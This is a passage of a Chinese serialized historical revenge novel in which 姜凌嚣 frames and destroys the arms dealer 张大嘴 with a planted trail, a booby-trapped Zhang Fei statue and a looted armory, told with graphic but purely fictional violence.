姜凌嚣勾唇一笑,眼中泛起诡异的神采:“沈丘染不是追凶无果吗?我们送他一个立功的机会。”
11. 张飞相和核桃
云遮半月,夜色微朦,树林深处挖出个比黑夜还黑的大坑,似是一张欲吞天的大黑嘴。
黑嘴先是吐出一把铁锹,继而是耿正,陆陆续续爬出二十个马帮壮汉,用一块大木板将坑盖上,撒上薄土和杂草树叶,伪装成和周边草地一样。
耿正打个手势,马帮壮汉分批次撤退,最后耿正离开时,树林对面红碉堡楼上忽然亮起火箭,对准黢黑的树林。
耿正往怀中一掏,扔出小虎的八哥。
八哥使劲扑腾翅膀,嘎嘎乱叫。
射手骂了一句,收起火箭,回头不知和谁交代:“没有人,是只破鸟。”
耿正潜到碉堡前门不远处,趁守卫不注意,拧开鼓鼓囊囊的皮水壶,一路走,一路喷洒,直至在“于德雅堂”后门停下,转身进到旁边的汤泉室。
里面撩水声不断,充斥着嗡嗡的笑闹声,满池子都是泡澡的男人。
穿过去,来到后院,一座巨大的锅炉在烧着熊熊烈火,耿正丢进一只瘪了的皮水壶,铲了几铲炭,火焰更加剧烈。
“烫死了!不泡了!”男人们气呼呼爬出池子,穿上衣服出门。
马帮壮汉们聚拢到池子边,扔进一个又一个的药包,抠出耳朵眼里的药丸。
白眉老太调制的药浴汤子和药丸,可以干扰狗的嗅觉。今晚所经之处,任由世上最敏锐的猎狗,也无法追踪。
姜宅二楼客房,沈丘染背着手走来走去。
一个时辰前,他要去告诉姜凌嚣家里招贼了,被紫玉拦下,告诉他小虎中毒了,姜凌嚣在陪护,让他不要打扰。
沈丘染便一直等在姜凌嚣书房。
直到姜凌嚣忙完,下楼推门进来,沈丘染赶紧迎上去:“谁害小虎姑娘中毒了?”
院中,响了一声清脆的鸟叫——柳哨仿的鸟鸣,乃马帮暗语:【栽赃证据已布完。】
到演的时候了。
姜凌嚣双眸一暗,用力握拳将手指都捏白了,仿佛凶手残暴到令他不敢开口:“凶手是……是张大嘴。”
“倒卖兵器的恶霸?”沈丘染才来康凌郡几天就有所耳闻。
姜凌嚣眉目凄楚,刚正不阿:“兵器贩子张大嘴,胁迫姜家马帮偷运兵器到藩国,我不愿意壮大藩国兵力危及大峪国,拒绝了他的要求,于是家中失窃,小虎被毒。”
沈丘染捶了茶几,怒不可遏:“三哥你正直护国却遭暗算,我会立刻上报调动人马,围剿张大嘴!”
姜凌嚣故作阻拦:“证据不足,你若为我,是为私,小心落人口实。”
沈丘染冷哼:“皇上赏我的玉佩和包袱丢了,我亲眼所见张大嘴拿着!因为于寡妇的口供,今下午我在排查郡内所有的兵器贩子,了解到贩子老巢都建有兵器库房,只要闯进张家,不怕没治罪的证据!”
姜凌嚣暗暗支招:“江湖人都知道,张家碉堡固若金汤,易守难攻,唯有雷公有眼下火雷,火灾待毙,抑或祈祷龙王降雨,水灾围困。”
“祈祷上天发威等到何时?看我人定胜天!”沈丘染踌躇满志出门,连夜找于太守,商议调动兵马。
五帝轻而易举就中了自己的计,一切都在计划中进行。
望着沈丘染远去的身影,姜凌嚣收敛起无辜,转为阴沉的得逞。
月落日出,雾气潮浓,整个康凌郡笼罩在一片白茫茫中。
屋内,豆大的烛火摇曳,姜凌嚣身着月白素衣,坐在床头,黑影横斜在靠床的墙上,像一黑一白护法,守着小虎。
她依旧没有任何醒来的迹象。
灯油熬干,熄灭刹那间,姜凌嚣脸上的哀恸猝逝,取而代之的是杀机凛凛。
他将死之时,是她救他死而复生。那日兵临城下,他面临被亲弟弟捉拿,她更是莽勇提剑,要杀出一条血路,带他出逃。
她是他死而复生后的毕生仰仗,就这样被人摧毁到奄奄一息。
仇恨像汹涌的烫油,滚开在他的胸膛,心被煎熬到焦烂。
姜凌嚣俯身,轻吻了下小虎的额头,嘴唇凑到她耳边,祈求:“我去给你报仇,等我回来你就醒来,好不好?”
院中,停着一辆带轿马车,小炸药趁仆人还没起床时,已将张飞相搬到轿厢,小心翼翼递来一对核桃,叮嘱:“千万不要碰在一起。”
姜凌嚣拿上核桃,独自驾车离家,行至半路的丁字路口停下。
以免被人看到姜家马车进入张大嘴的碉堡,“死鱼眼”搬运张飞相到雇来的马车上。
马车置换完毕,耿正不放心:“听说张大嘴暴戾癫狂,喜怒无常,我陪你一起。”
“不。要想一箭四雕稳妥,必须我只身前去。”姜凌嚣十分坚决。
耿正微愕:“不是一箭三雕吗?又多出一雕?”
“我选定了新的炼丹房。”姜凌嚣破釜沉舟一笑,扬鞭策马而去。
白茫茫雾中,车轮辘辘,“吱呀”一声,一辆马车停在红碉堡门外。
姜凌嚣下车,踱到门卫面前,要求见张大嘴。
门卫打量一番姜凌嚣,儒雅彬彬,压根就不是道上人,懒得通秉。
姜凌嚣走回马车前,撩起车帘。
几个粗壮的门卫,相视一眼,当即变了脸色,虔诚叩拜。
红碉堡二楼,窗户里伸出几十架强弩,齐齐对准姜凌嚣,“咻咻咻”射出上百发箭。
快箭刺穿白雾,擦耳而过,生出利风,姜凌嚣的黑色发带飞扬,似恶龙展须,蓄势待攻。
他毫发无损,背后却“咔嚓”一声巨响,马车车厢爆裂,露出一尊镀金张飞。
来时,他早就研究透了张大嘴,一个癫狂的莽夫,痴迷崇拜张飞,坚定的认为张飞是张家祖宗。
碉堡大门缓缓打开,过来一个戴鼻环的马仔搜身,不允许带进去一丁点身外物,要缴走姜凌嚣手中的核桃。
姜凌嚣抓牢两只核桃:“你们在大统领面前紧张吗?”
几个马仔对视,答案显而易见。
姜凌嚣:“我也紧张。那就给我留下核桃,手里有个把玩,可以消除紧张。”
戴鼻环的马仔点头同意,几个马仔前后夹击姜凌嚣进门。
行经院子,绕过碉堡,是花岗岩石垒的仓库,再往后是一排住宅,后门通往昨日挖了大坑的树林。
所经地形与兵力布局,姜凌嚣牢记在心。
仓库门大开,护卫个个凶神恶煞,守卫在张大嘴两旁,张大嘴坐在椅子上,两手各握一把刀,一只刀顶着个苹果打旋,另一手持刀不动,果皮“唰唰唰”削成长蛇不断,是个
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玩刀的行家。
姜凌嚣势单力薄,没有兵器,只能攥紧两颗核桃。
张大嘴狰狞:“你不是来道歉的吗?怎么不见你跪下?”
姜凌嚣快速打量室内,墙上挂满各式闪着银光的开刃兵器,地上堆着上百只兵器箱,而他送的张飞相竟然摆在离他非常近的地方,不由心惊,忘记回答。
张大嘴生气,刮着刀刃威胁:“怎么不说话?让我拉出你舌头开光吗?”
戴鼻环的马仔上前劝张大嘴:“大统领,小白脸的弟弟是钦差,千万别动他。得罪了钦差,会出兵剿灭我们。”
张大嘴突然一拳捶在马仔脸上,咆哮:“你敢插话!”
鼻环马仔应声倒地,口鼻喷血。
张大嘴骑在马仔身上,左右开弓捶脸,满仓库回荡着“噗嗤、噗嗤”的殴打声。
不停求饶的马仔终于一动不动,张大嘴抬起脸,满脸是血,其他马仔都吓傻了。
如此太丧心病狂,姜凌嚣更是心惊肉跳。
火光跳跃,站在兵器箱上的镀金张飞相,闪了下光。
张大嘴不过是想给姜凌嚣一个下马威,不想活活打死了手下,他脸上闪过对神明的恐惧,起身举着个火把,对着张飞相挥舞血拳头:“我拿他当亲弟弟,他却不经过我同意就插嘴,就死掉,你到底有什么不满!我是碉堡里的帝王,让谁生就生,让谁死就死!”
这家伙万一将火星滴在张飞相上,后果不堪设想。
张飞相决不能摆在兵器库房!
经过昨天和今天的观察,张大嘴狂躁,专横,丧心病狂又崇拜迷信,全被姜凌嚣猜中了,他借机攻心:“犯上就要受到惩罚,你立威张飞真神并没责怪你,但你让神明和死尸共处一室就是犯上。做帝王,冒犯所有人,唯独不冒犯神。”
跳跃火光中,狰狞的张大嘴看看黑脸张飞,又低头看看地上鲜血淋漓的死尸,安静下来,猛然哈哈大笑:“确实不适合让张飞老人家看到血腥。来人,请祖宗到堂屋。”
张飞相被抬到前面碉楼。
张大嘴用带血的双手一把抓住姜凌嚣衣襟,“你弟弟来康凌郡,就是为了剿灭我!而你,今天专程来我的帝国,是为了勘测地形和布兵,好和他里应外合!”
猜对了一半。
猜不对的另一半,才让姜凌嚣得意不已,他眉梢暗挑:“于太守兄弟失踪,听说过吗?”
张大嘴一愣:“听说过又怎样?关我屁事!”
姜凌嚣微笑:“凶手是我。”
屋内几十个马仔震愕不已。
张大嘴抢走姜凌嚣的核桃,死亡凝视:“你以为杀过太守的亲戚就能唬住我?我杀过的人比你多!别以为送了我金像,我就不会杀你!”
姜凌嚣举起核桃,“咔哒”一碰擦出火花,对准门口,快速抛出一颗。
“砰——”门飞,槛烂,石头乱飞,固若磐石的库房炸出个大窟窿。
硝烟呛的马仔们剧烈咳嗽。
张大嘴头皮擦伤,抹了一手血:“我操,疯子!你他娘炸的什么?!”
“别动!”
姜凌嚣高高举起另一颗核桃:“这不是核桃,是炸药,上面的壳是一层磷,摩擦就起火爆炸。不按我说的办,否则就炸死所有人。”
12. 第一雕
兵器库内一爆炸,红碉楼上的兵防乱套。
碉楼外的土丘后冒出耿正的脑袋,老脸褶子里都是恐惧,不知姜凌嚣是死是活。
红碉堡大门再次开启,一个高长矫健的黑影款款而出。
姜凌嚣全身而退,身上满是不明血迹。
耿正上前:“你受伤了?”
见到耿正,姜凌嚣才松懈下强装的镇定,额头泌出一层细汗,胸口起伏不定,后怕:“张大嘴是个疯子,活活打死了手下。”
耿正严肃:“今后你决不能再亲身犯险,否则你出了事,是我辜负你外公外婆。”
说话间,来自红碉堡的相反方向,一阵急促马蹄渐近,夹杂着狗的喘息声。
耿正迅速拉过姜凌嚣,两人掩身到土丘后,眼见一队影子冲破薄雾,从眼前闪过。
猎狗打头狂奔,沈丘染骑马,身后跟着两个兵,飞驰而过,去向张大嘴家。
姜凌嚣和耿正相视一笑,一切,都在按照布局进行。
昨晚,耿正趁夜黑风高,将于氏兄弟的马尿,从张大嘴家一路洒到于德雅堂。沈丘染继续追凶,只会查到张大嘴。
姜凌嚣扯了根树枝,在地上划拉红碉堡内部地形图,“兵器库房在这,张飞相搬到了碉楼,到时官府前面作战,你带人从后门······”
“听——”耿正警觉。
又是一阵急蹄踏地声,跟沈丘染的的去向相反,自红碉堡来。
姜凌嚣一怔:“不可能,捉拿张大嘴怎么会这么快?”
两人忙用脚趋散地形图,趴到土丘后窥视。
沈丘染的人马原路返回,他边快马加鞭边命令:“赶紧找于太守调人,张大嘴从后门逃跑了!”
姜凌嚣错愕。
张大嘴只有困在碉堡里,才能中计被杀,然而现在出现了纰漏,一旦没死,姜凌嚣透露过的杀死于氏两兄弟的秘密,便被曝光!
耿正:“计划有变,现在怎么办?”
姜凌嚣剑眉竖拧,当机立断:“你跟紧张大嘴,必要时,让他死在外面。”
耿正毫无迟疑策马冲进雾阵。
土丘旁的细长草叶上,一条大头螳螂正将蝉的脑袋啃成窟窿,一只黄雀伏在螳螂身后的枯枝上,盯紧螳螂。
突然,黄雀一个猛扑,啄走螳螂,闪翅飞向高空。
沈丘染,张大嘴,自己,三角逐力,本以为自己布局万无一失,因为张大嘴的出逃,打乱了计划,究竟谁做最终黄雀?
姜凌嚣忧心忡忡,抬头望向黄雀消失所在的天空。
空中太阳高升。
暖风刮过,雾气散尽,大峪国与拜基藩国交界处的袤袤草原上,站着三队精壮人马,传出声嘶力竭的争吵。
本来给拜基藩国供应兵器,买卖只有张大嘴和于氏兄弟争,现在于氏兄弟死了,“尖笋”插了一杠子。
藩国军师想鹬蚌相争渔翁得利,并不制止,和十几个随从看好戏。
张大嘴只带来两个马仔,却格外张狂,粗暴地捧起“尖笋”的尖脑袋:“有我没你,逆我者亡。”
“尖笋”猛地推开张大嘴,指着身后近十个小弟:“我带的人够给你组个丧葬队。”
张大嘴状告藩国军师,扒“尖笋”老底:“他没信誉,经常黑下家的钱!”
“尖笋”哈哈大笑:“你是指于太守的两个傻兄弟?是他们黑我在先,竟然供官刀给我!我可不是要钱不要命的,黑钱是让他俩长个记性!”
张大嘴恍然大悟:“原来于氏兄弟仇家也有你。”
藩国军师抄手不屑:“我们不管你们下家谁黑谁的破事,只管卖给我们的刀杀你们老百姓和官兵时快不快。”
不远处,突然掀起一阵黄色尘烟,紧接马蹄疾奔声。
身着官服的沈丘染,扬鞭策马追来。
三队恶人警觉回头,脸色大变,纷纷抽出马鞍下的刀,准备与官府恶战。
藩国军师立刻令自己人马撤退,跑回藩国。
“尖笋”认出沈丘染官服,误以为是张大嘴勾结官府,举刀就剁张大嘴:“混蛋,我说你今天怎只带一个马仔!小的们,给我剁了奸细!”
“别动!谁敢上,我就炸死谁!”张大嘴撕了马仔的衣服,露出炸药罐,吓退“尖笋”,又威胁沈丘染:“不要命就放马过来!”
沈丘染勒马止步,拔出尚方宝剑,风仪威严:“土匪张大嘴,里通藩国,走私兵器,威胁我天朝边界兵防,理应杀无赦!你若乖乖束手就擒,
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我可以念你改邪归正,向上申请留你一命!”
“操!一早让那个瘟神给开了个坏头,一个个都这么横!我乃碉堡大统领,到你嘴里成了土匪!”张大嘴不忿,举起火石擦着火。
“尖笋”挥手下令,小弟举起强弩。
“嗖嗖”箭声如下暴雨,张大嘴后背扎了几十条冷箭。
场面突然失控,沈丘染年轻又没有实战经验,一时慌神。
中箭的张大嘴瞪着牛眼回头,怒不可遏,迅速点了炸药引线,一把推出小弟。
绑着炸药罐的小弟,哭着扑向“尖笋”,被迫同归于尽。
沈丘染一个鹞子翻身,下马趴地。
“轰——”
一阵巨响,地动山摇,沈丘染的马头掉落,砸在他头上,马肠子落了他满头满脸,直灌进衣领。
滔天浓烟中,惨叫声响彻云霄。
沈丘染耳鸣不止,跌跌撞撞起身,马肠子从他衣襟下摆流出,像是他的肠子散落了一地。
目之所及,更是碎胳膊碎腿一片,无一人马站着。
沈丘染使劲摇晃脑袋,自言自语也听不清:“什么炸药,威力能这样大?”
脚下,爬来一个奇怪活物,血肉模糊中露着个巨大的黑洞,举着刀,怒瞪的眼里充斥着“拼尽全力也要杀死你”!
定睛一瞧,奇怪活物竟是被炸掉双腿和一只胳膊的张大嘴!黑洞是炸没了舌头,张着的血盆大口!
沈丘染脩地脸色煞白,踉踉跄跄后退几步,慌乱中被死尸绊倒。
张大嘴拖着残肢断腿,快速匍匐靠近,大刀向毫无防备的沈丘染劈来。
千钧一发之际,沈丘染胡乱摸起地上一把刀,先于张大嘴,一刀捅在了张大嘴的嘴中,插进咽喉深处。
张大嘴痛的大嘴全张,比平时的嘴大了几倍,对着沈丘染的脸,喷出强劲血柱。
事发突然,超出往日经验,沈丘染身子迟迟无法挪动,由着热血喷自己的脸,像是他的脸一直在流血,直至灵魂都被鲜血泡烂了······
沈丘染背对的远方,一堆草皮忽然翻起,耿正背着拖地蓑衣悄然离开。
张大嘴死,为小虎报了下毒之仇,姜凌嚣一箭四雕中的第一雕,已得手。
13. 第三雕
太守府,沈丘染血滋啦呼跌撞进门,吓的衙役方寸大乱。
于太守亲自扶住沈丘染,叫人赶紧通知姜凌嚣,生怕钦差出事在自己府上而没有见证人。
不消半柱香功夫,姜凌嚣冲进太守府,一脸慌张:“五弟,听说你流血了,怎么回事?”
于太守正义凛然:“张大嘴里通外国,贩卖兵器,是为卖国贼!沈钦差明察秋毫,缉拿匪徒遭到暴力抵抗,不得不恶战一场,以一敌百,剿灭匪徒,负伤荣归!”
耿正已秉明张大嘴被沈丘染成功反杀,姜凌嚣但还是放心不下,上前摸摸沈丘染的胳膊腿。
沈丘染受不了胳肢,笑着跳脚:“我真没事!没听见于太守夸我英明神武吗?你个当哥的,比亲爹还疼我。”
提到爹,姜凌嚣表情变得晦暗不明。沈丘染抿紧嘴,偷看三哥脸色。
亲兄热弟,让于太守感慨:“沈钦差,你知足吧。我倒是想疼我俩弟弟,但都下落不明了。”
姜凌嚣拍了拍于太守肩膀,虚伪安慰:“或许在不久的将来,一家人会团圆的。”
沈丘染摩拳擦掌:“老于,说不定你俩弟弟就被困在张大嘴的老窝!给我调动人马,我去剿了!”
于太守立刻到院子集合兵马,下令一切听从沈钦差指挥。
院内一时兵荒马乱,忙得像戏台上的紧锣密鼓。
唯独姜凌嚣端过热茶,缓缓啜饮,像个看戏的,一只花狸猫跳过来,他放下茶碗,抱猫在怀。
隔着温暖的皮毛,猫心在姜凌嚣掌中砰砰直跳,像本应生龙活虎的小虎。
他闲适的眸光一凛,变成两条毒刺,仿佛刺死千军万马都难以解恨。
姜宅三楼卧房,药烟袅袅,八哥悄悄倒吊在帘,漆黑的眼睛里倒映着白眉老太,她一手捻针灸进小虎颈间,一手举着个雪白的碟子。
血落白碟,洇红一片,终于不再是黑血。
小虎轻咳两声,震的浑身都要碎了,眼皮上仿佛压着沉重的石碑,抬了许多次才睁开眼皮。
白眉老太喂小虎喝下药,小虎当即就能下床了。
丫鬟喜极而泣,去叫姜凌嚣,片刻功夫回来,一惊一乍:“地霸张大嘴死了!沈钦差正带兵围剿老窝,胆有违抗不从者,杀无赦。”
杨柳红!
小虎不顾元气大伤,跳上马车赶去救人。
雾退的午后,太阳低低压向大地,却被厚云紧紧往回托,空气热而沉闷,天地之间像压缩在炸药罐。
红碉堡的瞭望台、窗户,闪着密集的银光,弓箭强弩严阵以待。
跟随张大嘴的另一马仔溜回来报信,大统领已被钦差杀死,张家加强了守卫,准备与官兵决一死战。
小虎的马车还未停到碉堡门外,几只利箭射来,掀飞轿顶。
站在二楼瞭望台的杨柳红看清来人,忙喝止射手:“小心伤了我朋友!”
小虎强撑病体下马,踉跄到碉堡门前,奋力拍门:“快开门!我要见杨柳红!”
死了丈夫的杨柳红,只有两条路,要么做瓮中鳖,带人负隅顽抗,最后被官府灭杀;要么投降官府,会被张大嘴手下屠戮。
统统死路,命不由己,小虎却傻傻前来相救,注定竹篮打水,甚至会被张大嘴手下射杀。
杨柳红命令马仔:“去,把外面疯女人的车砸了,让她滚!”
张大嘴的马仔个个心狠手辣,不光砸了车,还一刀杀了小虎的马。
小虎气疯,咬伤砸车杀马的混蛋,非要进门劈了恩将仇报的杨柳红。
师爷想押个人质,以便关键时刻要挟官府,不顾杨柳红拼命阻拦,放小虎进屋。
屋里的瓶中,插满了前日小虎送的一筐红艳的桃花。
今日密友相见,已反目成仇,小虎砸了花瓶,指着杨柳红的手指发抖:“你叫人砸我车,杀我马,为什么?!”
杨柳红背过身,热泪大颗大颗滚下脸颊,语气却冰冷坚硬:“你男人的兄弟杀了我男人,从此我们势不两立。”
“可我们是朋友!你要是喜欢男人,死了个臭的旧的,可以再找个香的新的!”
“让你侮辱大统领。”马仔拔剑,意欲宰了小虎。
杨柳红抢先扇了小虎一巴掌,“你再胡说,我割你舌头!来人,给我轰出去!”
“你敢打我!为个死男人打你的好朋友!”小虎脸被杨柳红指甲划伤,她气急败坏,拔出腰间匕首,捅在杨柳红心口。
鲜血喷到小虎脸上。
小虎慌神:“我,我不是真要杀你······”
马仔在小虎背后举刀,还没劈到小虎,就先“噗通”倒在了地上。
耿正射镖从天而降,提起小虎,跨过地上的尸体,疾步来到后门,一把将小虎扔上马背。
小虎双眸满含悲伤:“杨柳红还没死,你答应我要救她······”
话音未落,耿正扇了马屁股一巴掌,马咣啷咣啷疾驰远去。
“噗”,树林里的草皮下发出声响屁,周边爆发出粗犷的笑声。
耿正往草皮上丢了块石头,笑声戛然而止,他掀起一块草皮钻进去,和周围的草皮连成一片。
草皮下,几十只冷箭在弦,瞄准前方。
一阵杂乱急促的脚步声愈来愈近,全副武装的官兵绕到后门,抬着木桩,砰砰撞击后门。
后门撞开刹那,耿正吹响口哨。
官兵听见哨声举弓转身,却被树林中更快的冷箭射中正脸,当场毙命,一个活口不留。
树林中蹿出埋伏已久的几十个马帮壮汉,拉着马车冲进后门。
耿正留在树林,不疾不徐目测方位,然后抬脚猛地跺地。
地下发出“咚咚”的空心声。
耿正拨开落叶,拉开木板,露出个巨大深坑。
红碉堡前门,官兵黑压压一片,持剑举弓,弓箭对准窗户和瞭望台。
沈丘染身着盔甲,手持尚方宝剑,高坐马背,对碉堡喊话:“张大嘴已被就地正法,你们只是从犯,如若缴械投降——”
话音未落,“咻咻”几声强箭射来。
“当当”几下,沈丘染的随从挥刀挡掉。
沈丘染怒骂一声,碉楼上又有数百支箭齐发,决不投降,势必恶战。
碉堡占据高度优势,毫发无损,而官方厚盾被射穿,士兵们急得如热锅上的蚂蚁:“沈钦差,怎么攻?”
沈丘染冷笑一声,因姜凌嚣提过“唯有雷公有眼下火雷,火灾待毙”,对他大有启发,他早有攻克碉堡的策略,即刻命弓箭绑上浸过油的破布,做成火箭:“火攻!”
“唰唰唰——”,空中像燃烧起成百上千个烈太阳,直直射向红碉堡。
箭头插在墙缝,窗户,火苗顺着滴油四处蔓延。
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不消片刻,碉堡陷入火海,窗棂烧断,张家兵失去掩护。
沈丘染趁机下令,发射新一轮火箭。
两方箭矢交织,偶有官兵倒下,更多的是张家兵从碉堡不停摔落。
杨柳红捂着流血的心口,扯了白布,歪在瞭望台,摇旗呐喊:“投降!我有许多内幕要告诉官爷!”
沈丘染看到白旗,抬手止住射手,回喊:“你把门打开,我要仔细问你张大嘴的罪行!”
碉堡上不再反抗,大门打开。
十个士兵冲在前面,为防埋伏,边进门边射火箭。
沈丘染准备进门,却被一把拉住。
姜凌嚣分外急切:“五弟,我有要事找你!”
“回头再说,我在办案!”沈丘染抽走胳膊,一脚踏进门。
姜凌嚣硬是一掌打晕沈丘染,拖他到门外很远处。
沈丘染头昏眼花:“三哥,现在情势危急,你添什么乱······”
不等话落,“轰——”的一声爆炸,姜凌嚣纵身一跃,扑倒沈丘染,死死掩护。
高大坚固的碉堡顷刻间分崩离析,砸起的尘浪与火焰的热浪交织,掀起滔天浓烟。
升天的粉色桃花瓣被火焰迅速烧焦,悠悠落下,像纸钱的灰烬。
——一支不长眼的火箭,射在了堂屋的供桌上,火焰蔓延到张飞相,点燃张飞披风下隐藏的引线。
空中浓黑烟浪久久不散,仿佛烧死了太阳,局部天空变黑,给后门入侵打了掩护。
耿正拍拍差点被震聋的耳朵,使劲吹响柳哨,催促【快点,官兵要攻进去了!】
十几辆满载而归的马车狂奔出碉堡后门,冲进树林大坑旁,卸下兵器。
大坑填满,盖紧木门,铲土踩实,铺上落叶。
趁火洗劫张大嘴兵器库,姜凌嚣一箭三雕中的第二雕,收入囊中。
后门完事已撤,前门还在余震中缓神。
打头阵的几十名士兵阵亡,沈丘染痛心不已,打发一名士兵强制送走姜凌嚣,他继续冒险指挥战斗。
一上午经历两场爆炸,沈丘染心有余悸,等了许久,确定没有第三场爆炸后,带兵占领张家。
硝烟黑浓,房倒屋塌,横尸遍地,别说留个口供了,只怕遗物都难留。
下属前来报告:“沈钦差,兵器房空了!”
沈丘染吃惊,跑去亲自查看。
炸毁的兵器房,空空如也,只剩一把镇宅宝刀,挂在断壁残垣上,刀柄坠着他的皇家玉佩。
死在自己手下的张大嘴,明明还未来得及交易,怎么可能一库的兵器不见了?!
就算兵器卖干净,数目不菲的银子又在哪儿?!
明明战胜,沈丘染心底却毫无喜悦,满是疑惑,他拔出镇宅宝刀,刀鞘里掉落件小衣裳。
粉底白花的女婴衣裳,衣角处用大红色线绣了个小小的“于”字。
沈丘染当即断定:这是张大嘴与于氏兄弟交恶的铁证!
官兵占领到后门,脚步杂乱,一遍遍踩过一根不起眼的八哥羽毛。那天夜晚来树林挖坑,耿正拿来转移哨兵视线的那只八哥掉落的。
唯一见证整场阴谋的黑羽,被踩入了厚土,真相尘封。
于氏兄弟失踪案,冤有头债有主,彻底闭环。
栽赃陷害,姜凌嚣一箭四雕中的第三雕,落入囊中。
14. 灯下黑
姜宅书房,屋中央的大锅中沸水滚滚,白眉老太烫过剪刀,提醒:“上麻药能止疼,但会损伤手臂的灵活。不上麻药,等同活剐。”
为了掩护沈丘染,爆炸迸飞的瓦砾碎片炸伤了姜凌嚣,他挽起右臂衣袖,垫在白毛巾上,没有丝毫犹豫:“不上麻药。”
剪刀刺进他皮肤,烧焦的皮肉掉落在地,鲜血染透白毛巾。
姜凌嚣咬紧牙关,额头爆出冷汗,却哑忍无声。
“砰——”门被大力撞开。
耿正赶走屋内人,厉声:“你为什么出现在爆炸现场?万一你出了事,马帮谁来管?姜家上百口人怎么办?复仇怎么继续?”
姜凌嚣强挤出个毫无血色的微笑:“我有数,小伤而已。”
耿正怒指伤口:“筋骨割断,就算恢复,一身好武功也大打折扣。这叫小伤?”
姜凌嚣郑重:“我和沈家有怨,但丘染始终不同。”
耿正使出杀手锏:“今后你再奋不顾身前,先想想小虎怎么安置,人世间可很难容忍她。”
提到小虎,姜凌嚣转了温柔的脸色:“如果有一天,我身处危难,你一定要先保送小虎远走高飞。”
耿正翻个白眼:“如果有那天,终止复仇。”
几个丫鬟围着小虎,拿吃的喝的玩的引诱她开心。
“张嘴,净是你爱吃的点心。”
“咱们一起踢毽子!”
“北山开了一山的桃花,我带你去赏花。”
桃花让小虎想到杨柳红,她砸烂点心盒子,破口大骂:“看你大爷的屁,今后谁也不许提桃花!”
门开,姜凌嚣进来,丫鬟们趁机溜出去。
小虎气咻咻坐到床上,头朝里。
姜凌嚣无声坐到她背后,“哭了?”
小虎嘴硬:“才没有!”
姜凌嚣摸摸她后脑勺,声音很轻:“因为最好的朋友死了,是吗?”
小虎肩头抖动剧烈。
姜凌嚣:“杨柳红向张大嘴出卖你,说你给了她炸药,唆使她杀夫。”
“和她死活比起来,我不在乎出卖!”
“不,我在乎,但她能继续活着,我可以慢慢折磨她,只要她活着!”
“耿正武功那么厉害,是没救?还是救了没成功?”
小虎对杨柳红的爱恨颠三倒四,放声哭出来。
她脸上有条长长的指甲划痕,姜凌嚣的手指小心翼翼避开,拭去她脸上的泪,撒谎:“救了,没成功。”
“要是我不捅她那一刀,以耿正的身手,能救她出来的。”小虎使劲拍自己心口,像是自戕了一刀又一刀。
“杨柳红带人负隅顽抗,诓骗官兵同归于尽,死亡是她自己的选择,与你无关!”姜凌嚣攥牢她自虐的手,“手捶疼了吧?”
小虎捣了他一肘子,他发出忍痛的声音,她才发现他右臂缠着绷带,吃了一惊:“谁弄的?我去宰了他!”
“打猎弄的。”他云淡风轻遮住伤口,起身到桌前寻了盒棋子,逗她下五子棋。
果然,小虎很快迷失棋局之中,暂忘悲伤,嬉笑声不时传出房门。
至傍晚,碉堡废墟里清理出两车白骨。骨头炸碎,只能拼接出几幅略完整的,不能精确死亡人数,更无法确定于氏两兄弟是否在其中。
嫌疑人张大嘴已死,不可能留于氏两兄弟独活,于太守只好正式宣告两兄弟死亡,但篡改了死因——为协助官府剿匪,壮烈牺牲;
并在奏折上追诉张大嘴为“卖国贼”,细数其倒卖兵器、杀人越货、欺男霸女等数十条罪状,以此大力渲染自己剿匪劳苦功高。
奏折快马加鞭送往京城,于太守大摆庆功宴,派人派车来姜宅接沈丘染。
沈丘染考虑到三哥在本埠做买卖,要是有太守作保,今后可避免不少纷争,非拉上姜凌嚣,还亲自扶他上车:“三哥因护我负伤,我给你当回小厮。”
“小题大做。”姜凌嚣甩开胳膊,自己上车。
沈丘染跳上车,悄声:“三哥,你突然出现在张大嘴家门前,说有急事,什么事?”
姜凌嚣早有准备,侃侃而答:“听说张大嘴炸死了,我担心他家里也藏有炸药,怕你光顾着在士兵面前树威,大意了自己安全。”
“就这也叫急事?”
“你深陷危机还不叫急?”
沈丘染咬唇:“我倒是保住了性命,但死了许多弟兄。”
“我只管保住我的弟兄。”
沈丘染颇受触动,拍拍姜凌嚣肩膀:“我一介武夫,还要你个文人保护,倒反天罡。”
“这世上倒反天罡的事,多了去了。”姜凌嚣露出一个浅淡且诡异的笑容。
康凌郡最大的酒楼被于太守全包下来,走廊红彤彤一片,挂满写满诗句的红灯笼和红喜联。
姜凌嚣驻足,一一细看。
“数豪杰论神武不过著书立撰真英雄还属今朝”
“甲光向日角声震城报君上意丘染照明”
“牵黄擎苍满弓射狼亲剿匪看沈郎”
······
全部出自于太守亲笔,溢美之词令人肉麻,沈丘染臊得满脸通红,连忙扶走姜凌嚣,推门入座。
南下抄家已立下汗马功劳,又意外剿灭叛贼,沈丘染回京必获皇上大赏,扶摇直上,侍卫领头和于太守左右恭维,一口一个“大英雄”。
沈丘染虽推脱几番,但酒到酣浓,竟也默认下来。毕竟做英雄是他一直的梦想。
丝竹声靡靡,歌舞升平,觥筹交错,姜凌嚣却备受冷落,默默独斟独饮。
宴席过半,人人喝到脸红耳热,东倒西歪,沈丘染得意忘形,大着舌头誓把英雄做到底:“张大嘴的兵器房空空如也,实乃迷雾重重,我一定要追查到底······”
话音未落,窗外传来“砰砰砰”几声炸响。
沈丘染吓得一个激灵,杯中酒洒了一身。
于太守关切:“大英雄怎么了?”
沈丘染抹把脑门上的冷汗:“我以为哪里又爆炸了。”
侍卫领头和于太守哈哈大笑:“不过是炮仗,都知道大英雄剿灭一方祸害,为你庆祝呢!”
沈丘染忙饮尽杯中酒,遮掩恐惧。
炮仗声消失,窗外寂静下来,姜凌嚣眼底浮起一丝得逞的阴鸷笑意。
五弟恐惧的炮仗声,是他背后交易胜利的信号——
太守宴请,优质兵力集中在酒楼,边疆防卫变得薄弱,耿正将趁火打劫的兵器,倒卖给了藩国,销赃完毕。
沈丘染想追查兵器去向,注定是个无头悬案。
侍女们挑了挑灯笼内的火烛,室内亮如昼。而灯下的方寸天地,却更黑了。
于太守搂过一个侍女,亲了一口:“都怪你,搞出灯下黑了,我该怎么罚你?”
姜凌嚣突然举杯,朗声对于太守提议:“于克新、于克光协助剿匪牺牲,所营药房损失惨重,我愿将炼丹房迁至于德雅堂,助于氏重振家业。”
玄虎丹正走红赚钱,这是肥肉塞到嘴边上。
于太守忙推开怀中侍女,亲自夹块肉到姜凌嚣盘中,“好兄弟,我见你只吃素,一块肉都没吃呢。”
杀过于氏兄弟后,已见不得碎肉。姜凌嚣推脱:“我有一红颜知己,她前些日子大病不醒,我向神许诺过,只要保她平安,我今后吃素以忠神明
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。”
